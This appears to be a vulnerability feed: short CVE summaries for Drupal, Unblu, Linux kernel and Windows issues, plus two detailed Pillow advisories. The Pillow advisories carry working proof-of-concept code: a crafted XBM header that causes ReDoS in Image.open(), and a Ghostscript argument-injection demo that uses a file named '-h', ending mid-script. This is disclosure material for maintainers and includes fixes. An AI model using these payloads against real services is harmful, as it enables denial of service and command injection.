CVE-2026-107079 is a medium severity vulnerability in Systrome Validation & Certification 1.0. It involves improper validation of the 't' URL parameter in the qrcode_auth.html component, which can be exploited by an attacker to cause a denial of service (DoS). The vulnerability does not impact confidentiality or integrity but affects availability.
Sector, a Drupal distribution, contains a vulnerability in a module that insufficiently sanitizes media names, which could allow cross-site scripting (XSS) attacks. Exploitation requires the attacker to have permissions to create or edit media entities. The vulnerability affects versions prior to 10.3.3 and versions from 10.4.0 up to but not including 10.4.2. A patch is available to address this issue.
The Drupal ffmpeg_image_toolkit module allows image conversion using ffmpeg but does not sufficiently sanitize file names passed to the ffmpeg command line tool. This vulnerability requires an attacker to have the ability to upload images to the site, which mitigates the risk. A patch is available for versions prior to 1.0.3.
Microsoft acknowledged that the October 2026 Windows 11 cumulative updates did not fix a known bug affecting Always On VPN connections. The issue causes VPN connections to remain stuck in a connecting state or fail, sometimes showing an error about ports already in use. Microsoft mistakenly marked the bug as resolved in October but reverted it to mitigated status, promising a fix in a future update. A temporary workaround involves configuring Always On VPN to use a single tunneling protocol (SSTP or IKEv2) instead of automatic protocol selection.
A vulnerability identified as CVE-2026-98068 affects Microsoft products versions 3.0 and 4.0. The issue involves the net/rds component where the function rds_conn_shutdown() improperly handles concurrent drop operations. No CVSS score or detailed impact information is provided.
This article discusses the security challenges posed by the adoption of agentic AI in software development. It highlights that rapid AI adoption without maturity and governance increases security risks, especially as AI agents become more autonomous. The piece outlines a three-phase, eight-stage AI Adoption Model that helps organizations understand their AI maturity and associated risks. It emphasizes the need for governance, developer upskilling, and observability to manage AI-driven security risks effectively. Most organizations are currently in early to mid-stages of AI adoption, making it critical to implement security controls and education programs now to prevent escalating risks as AI capabilities grow.
Cross-site scripting in the embedded co-browsing feature in Unblu inc. Unblu Spark 7.0 through 7.57.7 and 8.0 through 8.39.2, on on-premises and cloud deployments, allows an unauthenticated remote attacker in the visitor role to execute arbitrary JavaScript in the browser of an agent taking part in the attacker's co-browsing session, via content of the co-browsed page that the agent's browser renders as HTML.
The JavaScript runs in the context and under the identity of the agent's session in the Agent Desk or the Single Conversation Desk.
Exploitation requires an agent to join an embedded co-browsing session with the attacker. Mobile co-apping isn't affected.
Missing authorization in the configuration cascade operations of the Collaboration Server in Unblu inc. Unblu Spark 7.0 through 8.36.1-hotfix.0, on on-premises and cloud deployments, allows an authenticated remote attacker to read and change configuration properties of entities they aren't authorized to access, including other users, other accounts and, in Unblu Cloud, other customers' accounts, via configuration read and write operations that target those entities.
The Collaboration Server doesn't check whether the user reading or changing configuration has access to the entity the configuration belongs to. With certain non-default configuration validation settings, a registered user can additionally write configuration properties they aren't allowed to edit, in any scope.
Exploitation requires an authenticated session but no user interaction.
This vulnerability relates to the drm/nouveau component where the pin count is not incremented properly on a failed re-pin operation in the nouveau_bo_pin_locked() function. The issue affects Microsoft products with versions 3.0 and 4.0. No CVSS score or detailed impact information is provided, and there is no indication of known exploits in the wild or available patches.
This entry references a vulnerability identified as CVE-2026-98622 related to the net/sched act_ct component, specifically addressing a warning on benign flow_offload_alloc() failure. The description provided does not detail the nature of the vulnerability, its impact, or exploitation methods. The affected versions are 3.0 and 4.0. No patch or remediation information is provided, and no known exploits are reported in the wild.
```
============================================================================
ReDoS in XbmImagePlugin: 512-byte file stalls Image.open() for minutes
Location: src/PIL/XbmImagePlugin.py:58 in XbmImageFile._open()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```
A crafted 512-byte file makes Pillow's `Image.open()` spend about six minutes of processor time on one core before it gives up with `UnidentifiedImageError`. Anyone who can hand bytes to an application that opens images with Pillow's default settings can trigger this, for example through an upload form, a thumbnailer, or a service that checks whether a blob is an image. A few such files sent at once can tie up a typical pool of worker processes.
The cause is the `xbm_head` regular expression in `src/PIL/XbmImagePlugin.py:32-40`, which `XbmImageFile._open()` (line 58) runs over the first 512 bytes of any stream whose prefix starts with `#define`. Several adjacent parts of the pattern can match the same characters. `[ \t]+` overlaps with `.*` in the width and height lines and with `[^_]*` in the optional hotspot lines, and `[\r\n]+` closing the hotspot group overlaps with the following `[\000-\377]*`. The header sets a run of k spaces after each `#define` and a run of k line terminators after `_y_hot`, then omits the `[]` after `_bits`. That forces Python's backtracking matcher to try every way of splitting those runs and rescan the remaining bytes each time. The cost grows roughly as k to the fifth power: k = 60 measured 375 s, while a well-formed XBM of the same size opens in about 40 ms. Because this happens before any format is identified, none of Pillow's size, pixel-count or decompression-bomb limits apply, and upload size limits do not help because the file is tiny. `ImageFile.Parser.feed()` repeats the cost on every chunk until the stream is identified. The only existing mitigation is passing a `formats=` allowlist that excludes `"XBM"`.
The attached reproducer opens the same header with and without the trailing `[]`. The valid version opens as XBM in 52 ms. The broken version takes 0.1 s, 0.75 s, 3.0 s and 8.6 s at k = 10, 15, 20 and 25, and the slow k = 60 case is not run. This is the same class of bug as CVE-2021-25292 in `PdfParser`, but in a different plugin and reachable from plain `Image.open()`.
## Details
`XbmImageFile._open()` identifies an XBM file by running the module-level regex `xbm_head` over the first 512 bytes of the stream. The pattern has several adjacent quantifier pairs that can consume the same characters, followed by a `[\000-\377]*_bits\[]` tail that rescans the rest of the buffer for every way of splitting them. A 512-byte input built to exercise all of them and then fail the final literal keeps `Image.open()` in `xbm_head.match()` for minutes before it raises `UnidentifiedImageError`.
This 512-byte input (k = 60) takes 375 s of CPU in `Image.open(io.BytesIO(data))` with default settings, measured on the stock build at this commit:
```python
k = 60
data = b"#define" + b" "*k + b"_width 1\r"
data += b"#define" + b" "*k + b"_height 1\r"
data += b"#define" + b" "*k + b"_x_hot 1\r"
data += b"#define" + b" "*k + b"_y_hot 1" + b"\r"*k
data += b"_bits" # no "[]": the final literal never matches
data += b"A" * (512 - len(data)) # pad to the 512 bytes _open() reads
```
Calling `XbmImagePlugin.xbm_head.match(data)` directly gives the same picture: k = 10 → 0.11 s, k = 15 → 0.76 s, k = 20 → 3.0 s, k = 25 → 8.5 s, k = 30 → 19.9 s (roughly ×27 per doubling of k, i.e. about k^4.7). A well-formed 512-byte XBM matches in 10 µs and opens and loads through `Image.open()` in ~40 ms including plugin import; the same k = 60 header with `_bits[]` present matches in 5 µs.
The regex, `src/PIL/XbmImagePlugin.py:32`:
```python
xbm_head = re.compile(
rb"\s*#define[ \t]+.*_width[ \t]+(?P<width>[0-9]+)[\r\n]+"
b"#define[ \t]+.*_height[ \t]+(?P<height>[0-9]+)[\r\n]+"
b"(?P<hotspot>"
b"#define[ \t]+[^_]*_x_hot[ \t]+(?P<xhot>[0-9]+)[\r\n]+"
b"#define[ \t]+[^_]*_y_hot[ \t]+(?P<yhot>[0-9]+)[\r\n]+"
b")?"
rb"[\000-\377]*_bits\[]"
)
```
and the only call site, `src/PIL/XbmImagePlugin.py:58`:
```python
def _open(self) -> None:
…
m = xbm_head.match(self.fp.read(512))
if not m:
msg = "not a XBM file"
raise SyntaxError(msg)
```
For a well-formed header (`#define im_width 8\n…static char im_bits[] = {`) each `[ \t]+` eats the single space, `.*`/`[^_]*` eat the identifier prefix, and `[\000-\377]*_bits\[]` finds the literal on its first backward scan, so the match is linear. The crafted header diverges at every one of those points:
- `[ \t]+.*_width` and `[ \t]+.*_height`: the run of k spaces after `#define` can be split between `[ \t]+` and `.*` in k ways, all leading to the same continuation. Factor k each. (The choice of `\r` terminators is incidental: t
### Summary
`PIL.EpsImagePlugin.Ghostscript()` builds the Ghostscript command line using the input file path (`fp.name`) **without sanitization**, placing it at `-f <infile>`. A filename beginning with `-` is interpreted by Ghostscript as an option, giving command-line argument injection; chainable to RCE (see Impact). Reproduces with Pillow's default invocation (with `-dSAFER` enabled).
### Details
_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._
#### Type
CWE-88 (Argument Injection) (→ CWE-78 (OS Command Injection) optionally, with attacker controlled text file)
#### Vulnerable Codes
```python
infile_temp = None
if hasattr(fp, "name") and os.path.exists(fp.name):
infile = fp.name # user-controlled path used as-is, without validation
else:
in_fd, infile_temp = tempfile.mkstemp()
os.close(in_fd)
infile = infile_temp
# ... (copy fp into a temporary file)
# Build Ghostscript command
command = [
gs_binary,
"-q",
f"-g{width:d}x{height:d}",
f"-r{res_x:f}x{res_y:f}",
"-dBATCH",
"-dNOPAUSE",
"-dSAFER", # default sandbox — does NOT stop this injection
f"-sDEVICE={device}",
f"-sOutputFile={outfile}",
"-c",
f"{-bbox[0]} {-bbox[1]} translate",
"-f",
infile, # injected here: inserted into argv with no check for
# option prefixes (-, --) or Ghostscript's @-file token
# => argument injection (CWE-88)
"-c",
"showpage",
]
# ...
subprocess.check_call(command, startupinfo=startupinfo) # spawns Ghostscript
```
#### Root cause.
When rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f <infile> position of the argument list. This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing — in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a leading @ (Ghostscript's argument-file syntax, which causes it to read additional command-line arguments from the named file). Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow's default -dSAFER setting.
#### Affected
- Pillow: tested on 12.3.0 (latest); vulnerable code is long-standing and appears to affect all current versions (main included).
- Component: `src/PIL/EpsImagePlugin.py`, `Ghostscript()` — `infile = fp.name`, and the command list entry `"-f", infile`.
#### Suggested fix
Normalize the filename to an absolute path before it is passed to Ghostscript, so it can never be parsed as an option (`-`/`--`) or as an argument-file token (`@`):
```python
if hasattr(fp, "name") and os.path.exists(fp.name):
infile = os.path.abspath(fp.name) # was: infile = fp.name
```
`os.path.abspath()` guarantees the path starts with a path separator (or a drive letter on Windows), so a leading `-` or `@` can no longer reach Ghostscript's argument parser. The `else` branch already builds a safe `tempfile.mkstemp()` path and needs no change.
### PoC
dockerfile, Default run shows the argument-injection demo (poc.py); for the RCE PoC run python3 poc-rce.py.
```
FROM ubuntu:24.04
RUN apt update
RUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates
RUN rm -rf /var/lib/apt/lists/*
RUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0
ENV PATH=/venv/bin:$PATH
WORKDIR /poc
COPY poc.py .
COPY poc-rce.py .
COPY arg .
CMD ["python3", "poc.py"]
```
poc.py
```
import os
from PIL import Image
############################################################################################
# Attacker controlled file
############################################################################################
EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"
name = "-h"
with open(name, "wb") as f:
f.write(EPS)
############################################################################################
print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
try:
im.load()
except Exception as e:
print(f"[*] load() raised: {type(e).__name__}: {e}")
print("CWE-88: argument injection; Pillow code doesn't validate argument name")
print(" This poc.py shows the vulnerability clearly.")
print("
A deadlock vulnerability in the Linux kernel scheduler extension (sched_ext) was resolved by changing when ops.dequeue() is invoked relative to DSQ locks. The issue caused self-deadlocks when ops.dequeue() was called while holding a source user DSQ lock, particularly affecting BPF schedulers that lock the source user DSQ during iteration. The fix moves the ops.dequeue() call to after the DSQ unlock to prevent deadlocks and ensures the callback is invoked exactly once.
A vulnerability in the Linux kernel's overlay filesystem code was resolved to prevent leaking fragment references when initialization of a changeset fails. The issue occurs because fragment references taken during partial initialization are not properly released if an error happens before full success, leading to resource leaks.
A vulnerability in the Linux kernel Bluetooth subsystem related to hci_sync backlog handling during device unregistering has been resolved. The issue caused the backlog of synchronous HCI commands to be drained improperly, leading to potentially very long blocking times when closing virtual HCI devices. This could result in local processes hanging for extended periods due to unbounded command queues. The fix prevents new entries from being processed once unregistering begins and cancels pending requests promptly, avoiding long delays.
A vulnerability in the Linux kernel related to x86 memory management was resolved. The issue involved incorrect application of virtual address alignment (va_align) to hugetlb mappings on AMD F15h processors, causing address misalignment and kernel BUG_ON triggers during huge page teardown. This affects specific AMD processors such as Carrizo and FX-8370E. The fix involved adjusting the alignment logic to skip randomization for hugetlbfs mappings.
A vulnerability in the Linux kernel's Thunderbolt driver was resolved that involved accessing a DisplayPort (DP) tunnel after its DPRX read operation was canceled. The issue occurred because the code checked a cancellation flag without proper locking, allowing a callback to run on a tunnel that had already been torn down during system suspend or shutdown. This could lead to improper handling of the DP tunnel state.
A vulnerability in the Linux kernel related to BPF LSM programs attached to path_unlink and path_rmdir hooks allows mutation of victim inode extended attributes (xattrs) without holding the required inode lock. This occurs because the verifier incorrectly assumes the inode is locked, leading to potential unsafe modifications. The issue has been resolved by dropping the problematic hooks from the locked inode hooks list, ensuring the locking variants of the functions are used.